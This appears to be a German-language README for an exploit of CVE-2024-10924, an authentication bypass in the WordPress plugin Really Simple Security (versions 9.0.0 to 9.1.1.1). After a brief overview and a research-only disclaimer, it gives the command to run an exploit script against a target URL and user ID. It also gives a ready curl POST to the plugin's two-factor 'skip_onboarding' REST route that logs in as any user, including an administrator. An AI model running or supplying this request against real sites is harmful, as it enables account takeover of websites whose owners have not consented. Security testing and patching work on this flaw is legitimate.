Exploit für CVE-2024-10924 (WordPress Really Simple Security Plugin - Authentifizierungsumgehung)

📌 Übersicht

CVE-2024-10924 ist eine kritische Authentifizierungsumgehungsschwachstelle im Really Simple Security Plugin für WordPress (Versionen 9.0.0 bis 9.1.1.1). Diese Schwachstelle ermöglicht es nicht authentifizierten Angreifern, sich als beliebiger Benutzer (einschließlich Administrator) anzumelden, indem sie einen Fehler in der Zwei-Faktor-Authentifizierungs-API (2FA) ausnutzen.

CVE-ID: CVE-2024-10924

Schweregrad: 🔥 Kritisch (CVSS 9.8)

Betroffene Versionen: Really Simple Security 9.0.0 – 9.1.1.1

Gepatchte Version: 9.1.2

Exploit-Typ: Authentifizierungsumgehung

⚠️ Haftungsausschluss

🚨 Dieser Exploit dient ausschließlich Bildungs- und Sicherheitsforschungszwecken.

Die unbefugte Nutzung auf Systemen, die Ihnen nicht gehören, ist illegal. Ziel ist es, Sicherheitsexperten dabei zu helfen, anfällige Systeme zu testen und zu patchen.

🔧 Voraussetzungen

Eine WordPress-Seite, die eine anfällige Version des Really Simple Security Plugins ausführt. Python 3.x oder cURL installiert zum Testen. Der Ziel-WordPress-Administrator-Benutzername (Benutzerenumeration kann erforderlich sein).

Skript ausführen:

python3 exploit.py <url example : http://target.com> <user_id>

manuell mit Curl

curl --request POST "http://{url}/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding" -H "Content-Type: application/json" -d '{"user_id": 1, "login_nonce": "invalid_nonce"}' -v